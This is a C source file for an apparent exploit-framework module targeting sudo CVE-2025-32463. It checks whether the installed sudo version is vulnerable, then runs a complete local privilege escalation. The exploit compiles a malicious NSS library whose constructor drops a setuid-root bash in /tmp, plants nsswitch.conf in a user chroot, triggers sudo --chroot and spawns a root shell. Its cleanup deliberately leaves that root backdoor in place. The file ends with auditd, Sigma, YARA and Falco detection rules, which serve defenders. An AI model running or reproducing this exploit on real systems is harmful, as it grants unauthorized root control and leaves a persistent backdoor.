/* * sudo_chwoot_cve_2025_32463 — SKELETONKEY module * * STATUS: 🟢 STRUCTURAL ESCAPE. No offsets, no leaks, no race. * Pure logic: sudo's --chroot option resolves NSS lookups (user/group * db) AGAINST the chroot, while still running as root. A user-writable * chroot dir + a planted libnss_*.so + a planted nsswitch.conf yields * "load arbitrary shared object as root, ctor runs, root shell." * * The bug (Rich Mirch, Stratascale, June 2025): * `sudo --chroot=` chroots into DIR before parsing sudoers and * resolving the invoking user. Inside the chroot, NSS reads * /etc/nsswitch.conf and dlopen()s the listed libnss_*.so backends. * The chroot is user-controlled. Plant: * /etc/nsswitch.conf → "passwd: skeletonkey" * /lib/x86_64-linux-gnu/libnss_skeletonkey.so.2 → attacker .so * sudo dlopen()s the .so as root; its ctor execs /bin/bash with the * real uid set to 0. * * Discovered by Rich Mirch (Stratascale CRU). Public PoCs: * https://github.com/kh4sh3i/CVE-2025-32463 * https://github.com/MohamedKarrab/CVE-2025-32463 * * Affects: sudo 1.9.14 ≤ V ≤ 1.9.17 (introduced when sudo gained the * modern chroot path; fixed in 1.9.17p1 which deprecated --chroot * entirely). * * CVSS 9.3 (Critical). Doesn't require any sudoers grant — the chroot * code path runs before authorization checks complete. Any local user * who can run /usr/bin/sudo (i.e. anyone on the system) can fire it. * * arch_support: any. The malicious .so is built on-host via gcc, so * it inherits the host's arch. Tested on x86_64; arm64 should work * identically given a working gcc + libc-dev install. */ #include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/host.h" #include #include #include #include #include #include #include #include #include /* ---- helpers shared with the sudo family ---------------------------- */ static const char *find_sudo(void) { static const char *candidates[] = { "/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo", "/sbin/sudo", "/usr/local/bin/sudo", NULL, }; for (size_t i = 0; candidates[i]; i++) { struct stat st; if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) return candidates[i]; } return NULL; } /* Returns true iff the version string is in the vulnerable range * [1.9.14, 1.9.17p0]. The fix landed in 1.9.17p1 which removed the * --chroot code path entirely. */ static bool sudo_version_vulnerable_chwoot(const char *version_str) { int maj = 0, min = 0, patch = 0; char ptag = 0; int psub = 0; int n = sscanf(version_str, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub); if (n < 3) return true; /* unparseable → assume worst */ if (maj != 1) return false; /* not sudo 1.x */ if (min != 9) return false; /* only 1.9 line */ if (patch < 14) return false; /* 1.9.13 and below predate the --chroot path */ if (patch > 17) return false; /* 1.9.18+ fixed */ if (patch < 17) return true; /* 1.9.14 .. 1.9.16 */ /* exactly 1.9.17: vulnerable if no patch tag (1.9.17 plain) */ if (ptag != 'p') return true; return psub == 0; /* 1.9.17p1 fixed; 1.9.17p0 vulnerable */ } static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz) { char cmd[512]; snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path); FILE *p = popen(cmd, "r"); if (!p) return false; char line[256] = {0}; char *r = fgets(line, sizeof line, p); pclose(p); if (!r) return false; char *vp = strstr(line, "version"); if (!vp) return false; vp += strlen("version"); while (*vp == ' ' || *vp == '\t') vp++; char *nl = strchr(vp, '\n'); if (nl) *nl = 0; strncpy(out, vp, outsz - 1); out[outsz - 1] = 0; return out[0] != 0; } /* ---- detect --------------------------------------------------------- */ static skeletonkey_result_t sudo_chwoot_detect(const struct skeletonkey_ctx *ctx) { const char *sudo_path = find_sudo(); if (!sudo_path) { if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: sudo not installed; bug unreachable here\n"); return SKELETONKEY_PRECOND_FAIL; } /* Prefer the host fingerprint's cached sudo_version (one popen at * startup instead of per-detect). Fall back to live probe if the * host fingerprint is missing or empty. */ char vbuf[64] = {0}; const char *ver = NULL; if (ctx->host && ctx->host->sudo_version[0]) { ver = ctx->host->sudo_version; } else if (get_sudo_version(sudo_path, vbuf, sizeof vbuf)) { ver = vbuf; } else { if (!ctx->json) fprintf(stderr, "[!] sudo_chwoot: could not read sudo --version\n"); return SKELETONKEY_TEST_ERROR; } if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: sudo version '%s'\n", ver); if (!sudo_version_vulnerable_chwoot(ver)) { if (!ctx->json) fprintf(stderr, "[+] sudo_chwoot: sudo %s outside vulnerable range " "[1.9.14, 1.9.17p0] — patched or pre-feature\n", ver); return SKELETONKEY_OK; } if (!ctx->json) { fprintf(stderr, "[!] sudo_chwoot: sudo %s in vulnerable range — VULNERABLE\n", ver); fprintf(stderr, "[i] sudo_chwoot: --chroot option resolves NSS inside attacker-controlled root → arbitrary .so load as uid 0\n"); } return SKELETONKEY_VULNERABLE; } /* ---- exploit -------------------------------------------------------- */ /* The malicious NSS module. ctor runs at dlopen time; we drop a setuid * /bin/bash. We DON'T setuid(0) directly because some distros refuse * execve() on a setuid bash from a non-elevated parent — using the * dropped suid bash via a follow-up execlp() is more portable. */ static const char NSS_C_SRC[] = "#include \n" "#include \n" "#include \n" "#include \n" "#include \n" "__attribute__((constructor)) static void skk_ctor(void) {\n" " /* We are running as the real user uid 0 (sudo set it during chroot\n" " * setup, before dropping privs). Drop a setuid /bin/bash. */\n" " setuid(0); setgid(0);\n" " int rc = system(\"cp /bin/bash /tmp/skeletonkey-chwoot-shell 2>/dev/null && \"\n" " \"chown root:root /tmp/skeletonkey-chwoot-shell && \"\n" " \"chmod 4755 /tmp/skeletonkey-chwoot-shell\");\n" " if (rc != 0) {\n" " fprintf(stderr, \"[skk-chwoot] ctor: drop suid bash failed (rc=%d)\\n\", rc);\n" " _exit(1);\n" " }\n" " fprintf(stderr, \"[+] skk-chwoot: /tmp/skeletonkey-chwoot-shell is now setuid-root\\n\");\n" " _exit(0);\n" "}\n"; static char g_workdir[256]; /* recorded for cleanup() */ static skeletonkey_result_t sudo_chwoot_exploit(const struct skeletonkey_ctx *ctx) { if (!ctx->authorized) { fprintf(stderr, "[-] sudo_chwoot: --i-know required for --exploit\n"); return SKELETONKEY_EXPLOIT_FAIL; } const char *sudo_path = find_sudo(); if (!sudo_path) { fprintf(stderr, "[-] sudo_chwoot: sudo not installed\n"); return SKELETONKEY_EXPLOIT_FAIL; } /* 1. Workdir under /tmp; /tmp is the only spot consistently * world-writable across distros. */ char tmpl[] = "/tmp/skeletonkey-chwoot-XXXXXX"; char *wd = mkdtemp(tmpl); if (!wd) { perror("mkdtemp"); return SKELETONKEY_EXPLOIT_FAIL; } strncpy(g_workdir, wd, sizeof g_workdir - 1); /* 2. Set up the chroot skeleton: /etc/nsswitch.conf points NSS * at our libnss_skeletonkey.so.2; / hosts the .so. */ char path[512]; snprintf(path, sizeof path, "%s/etc", wd); mkdir(path, 0755); snprintf(path, sizeof path, "%s/lib", wd); mkdir(path, 0755); /* Cover the common Debian/Ubuntu multi-arch lib path AND the plain * /lib path. NSS dlopens via dlopen("libnss_X.so.2") which uses the * standard search path; inside the chroot we control it. */ const char *libdirs[] = { "lib/x86_64-linux-gnu", "lib/aarch64-linux-gnu", "usr/lib/x86_64-linux-gnu", "usr/lib/aarch64-linux-gnu", "usr/lib", "usr/lib64", NULL, }; char sopath[512] = {0}; for (size_t i = 0; libdirs[i]; i++) { char p[512]; snprintf(p, sizeof p, "%s/%s", wd, libdirs[i]); char cmd[640]; snprintf(cmd, sizeof cmd, "mkdir -p %s", p); if (system(cmd) != 0) continue; } /* 3. Compile the malicious NSS .so. We need a real C compiler; * most modern distros ship one but stripped installs may not. */ char src[512]; snprintf(src, sizeof src, "%s/payload.c", wd); char so[512]; snprintf(so, sizeof so, "%s/lib/x86_64-linux-gnu/libnss_skeletonkey.so.2", wd); char so_arm[512];snprintf(so_arm,sizeof so_arm,"%s/lib/aarch64-linux-gnu/libnss_skeletonkey.so.2", wd); char so_lib[512];snprintf(so_lib,sizeof so_lib,"%s/usr/lib/libnss_skeletonkey.so.2", wd); FILE *f = fopen(src, "w"); if (!f) { perror("fopen payload.c"); goto fail; } fwrite(NSS_C_SRC, 1, sizeof NSS_C_SRC - 1, f); fclose(f); char cmd[2048]; snprintf(cmd, sizeof cmd, "gcc -shared -fPIC -o %s %s 2>/tmp/skk-chwoot-gcc.log && " "cp -f %s %s 2>/dev/null; " "cp -f %s %s 2>/dev/null; true", sopath[0] ? sopath : so, src, sopath[0] ? sopath : so, so_arm, sopath[0] ? sopath : so, so_lib); /* Actually compile to one fixed path then copy. Simpler. */ snprintf(cmd, sizeof cmd, "gcc -shared -fPIC -nostartfiles -o %s %s 2>/tmp/skk-chwoot-gcc.log", so, src); if (system(cmd) != 0) { /* try arm64 path if x86 path failed (maybe the dir wasn't * created — that's fine, gcc just wrote elsewhere) */ snprintf(cmd, sizeof cmd, "gcc -shared -fPIC -nostartfiles -o %s %s 2>>/tmp/skk-chwoot-gcc.log", so_arm, src); if (system(cmd) != 0) { fprintf(stderr, "[-] sudo_chwoot: gcc failed; see /tmp/skk-chwoot-gcc.log\n"); goto fail; } } /* Replicate to every plausible NSS search path (libdir per arch * varies across distros). Harmless if some are missing. */ char rep[1024]; snprintf(rep, sizeof rep, "f=%s; for d in lib/x86_64-linux-gnu lib/aarch64-linux-gnu usr/lib/x86_64-linux-gnu usr/lib/aarch64-linux-gnu usr/lib usr/lib64; do " " mkdir -p %s/$d 2>/dev/null; cp -f \"$f\" %s/$d/libnss_skeletonkey.so.2 2>/dev/null; " "done; true", so, wd, wd); if (system(rep) != 0) { /* harmless */ } /* 4. Plant nsswitch.conf inside the chroot. The first lookup sudo * does is on the invoking user — point passwd: at us so the * dlopen fires before sudoers parsing aborts. */ char nss_conf[512]; snprintf(nss_conf, sizeof nss_conf, "%s/etc/nsswitch.conf", wd); f = fopen(nss_conf, "w"); if (!f) { perror("fopen nsswitch.conf"); goto fail; } fprintf(f, "# planted by SKELETONKEY sudo_chwoot — points NSS at our shim\n" "passwd: skeletonkey\n" "group: skeletonkey\n" "hosts: files\n" "shadow: files\n"); fclose(f); /* 5. Fire sudo --chroot= -u#-1 woot. The `-u#-1` syntax tells * sudo "user with uid -1" which forces the NSS lookup BEFORE * auth completes — that's the trigger. The `woot` command name * is arbitrary; sudo never gets to exec it. */ if (!ctx->json) { fprintf(stderr, "[+] sudo_chwoot: invoking %s --chroot=%s -u#-1 woot\n", sudo_path, wd); } fflush(NULL); pid_t pid = fork(); if (pid < 0) { perror("fork"); goto fail; } if (pid == 0) { /* The ctor inside the .so will execve a shell; sudo never * returns. If sudo IS patched, it'll error out. */ execl(sudo_path, "sudo", "-S", "--chroot", wd, "-u#-1", "woot", (char *)NULL); perror("execl(sudo)"); _exit(127); } int status = 0; waitpid(pid, &status, 0); /* 6. Did the suid bash drop? */ struct stat st; if (stat("/tmp/skeletonkey-chwoot-shell", &st) == 0 && (st.st_mode & S_ISUID) && st.st_uid == 0) { if (!ctx->json) fprintf(stderr, "[+] sudo_chwoot: setuid-root shell at /tmp/skeletonkey-chwoot-shell\n"); if (ctx->no_shell) { if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: --no-shell set; not popping\n"); return SKELETONKEY_EXPLOIT_OK; } /* Pop the shell. -p keeps euid=0; without it bash drops setuid. */ execl("/tmp/skeletonkey-chwoot-shell", "bash", "-p", "-i", (char *)NULL); perror("execl(suid bash)"); return SKELETONKEY_EXPLOIT_OK; /* drop succeeded; pop just failed */ } fprintf(stderr, "[-] sudo_chwoot: setuid bash did not appear. Likely causes:\n" " - sudo is patched (1.9.17p1+) even if --version looks vulnerable\n" " - NSS shim was loaded but ctor failed (check sudo's stderr)\n" " - kernel hardening prevents the suid copy\n"); fail: return SKELETONKEY_EXPLOIT_FAIL; } /* ---- cleanup -------------------------------------------------------- */ static skeletonkey_result_t sudo_chwoot_cleanup(const struct skeletonkey_ctx *ctx) { (void)ctx; if (g_workdir[0]) { char cmd[640]; snprintf(cmd, sizeof cmd, "rm -rf %s 2>/dev/null", g_workdir); (void)!system(cmd); g_workdir[0] = 0; } /* Leave /tmp/skeletonkey-chwoot-shell if it exists — that's the * setuid root binary the operator may want to keep. They can * `rm -f /tmp/skeletonkey-chwoot-shell` themselves when done. */ return SKELETONKEY_OK; } /* ---- detection rules ------------------------------------------------ */ static const char sudo_chwoot_auditd[] = "# sudo_chwoot CVE-2025-32463 — auditd detection rules\n" "# Flag sudo invocations using --chroot. The legitimate use case\n" "# (server admin chrooting before running a command) is vanishingly\n" "# rare; any --chroot in shell history is investigation-worthy.\n" "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-chroot\n" "-a always,exit -F arch=b64 -S execve -F path=/bin/sudo -k skeletonkey-sudo-chroot\n" "# Also flag writes under any /tmp/skeletonkey-chwoot-* path or to\n" "# the canonical drop site /tmp/skeletonkey-chwoot-shell.\n" "-w /tmp -p w -k skeletonkey-sudo-chroot-drop\n"; static const char sudo_chwoot_sigma[] = "title: Possible CVE-2025-32463 sudo --chroot LPE\n" "id: e9b7a420-skeletonkey-sudo-chwoot\n" "status: experimental\n" "description: |\n" " Detects sudo invoked with --chroot pointing at a user-writable\n" " directory, plus a setuid-root binary appearing under /tmp shortly\n" " afterwards. Legit --chroot use is extremely rare; the combination\n" " with a fresh setuid drop is diagnostic.\n" "logsource: {product: linux, service: auditd}\n" "detection:\n" " sudo_chroot: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo', argv|contains: '--chroot'}\n" " condition: sudo_chroot\n" "level: critical\n" "tags: [attack.privilege_escalation, attack.t1068, cve.2025.32463]\n"; static const char sudo_chwoot_yara[] = "rule sudo_chwoot_cve_2025_32463 : cve_2025_32463 setuid_abuse {\n" " meta:\n" " cve = \"CVE-2025-32463\"\n" " description = \"SKELETONKEY sudo_chwoot artifacts — NSS shim + setuid bash drop\"\n" " author = \"SKELETONKEY\"\n" " strings:\n" " $shell = \"/tmp/skeletonkey-chwoot-shell\" ascii\n" " $wdir = \"/tmp/skeletonkey-chwoot-\" ascii\n" " $nssmod = \"libnss_skeletonkey.so.2\" ascii\n" " condition:\n" " any of them\n" "}\n"; static const char sudo_chwoot_falco[] = "- rule: sudo --chroot from non-root with user-writable target\n" " desc: |\n" " sudo invoked with --chroot pointing at a directory in /tmp\n" " or /home. Legitimate --chroot use is rare; the combination\n" " with a writable target is the CVE-2025-32463 trigger.\n" " condition: >\n" " spawned_process and proc.name = sudo and\n" " proc.args contains \"--chroot\" and not user.uid = 0\n" " output: >\n" " sudo --chroot from non-root (user=%user.name pid=%proc.pid\n" " cmdline=\"%proc.cmdline\")\n" " priority: CRITICAL\n" " tags: [process, mitre_privilege_escalation, T1068, cve.2025.32463]\n"; /* ---- module struct -------------------------------------------------- */ const struct skeletonkey_module sudo_chwoot_module = { .name = "sudo_chwoot", .cve = "CVE-2025-32463", .summary = "sudo --chroot NSS-shim → libnss_*.so dlopen as root (Stratascale)", .family = "sudo", .kernel_range = "userspace — sudo 1.9.14 ≤ V ≤ 1.9.17p0 (fixed in 1.9.17p1)", .detect = sudo_chwoot_detect, .exploit = sudo_chwoot_exploit, .mitigate = NULL, /* mitigation: upgrade sudo to 1.9.17p1+ */ .cleanup = sudo_chwoot_cleanup, .detect_auditd = sudo_chwoot_auditd, .detect_sigma = sudo_chwoot_sigma, .detect_yara = sudo_chwoot_yara, .detect_falco = sudo_chwoot_falco, .opsec_notes = "Creates /tmp/skeletonkey-chwoot-XXXXXX/ workdir containing etc/nsswitch.conf + lib/{x86_64,aarch64}-linux-gnu/libnss_skeletonkey.so.2 (compiled via gcc; /tmp/skk-chwoot-gcc.log captures any build error). Runs sudo --chroot= -u#-1 woot to trigger NSS dlopen; the .so's ctor drops /tmp/skeletonkey-chwoot-shell (setuid root bash). Audit-visible via execve(/usr/bin/sudo) with --chroot in argv, then chown/chmod 4755 on /tmp/skeletonkey-chwoot-shell from a uid-0 context. Cleanup callback removes the workdir but leaves the setuid bash (operator decision).", .arch_support = "any", }; void skeletonkey_register_sudo_chwoot(void) { skeletonkey_register(&sudo_chwoot_module); }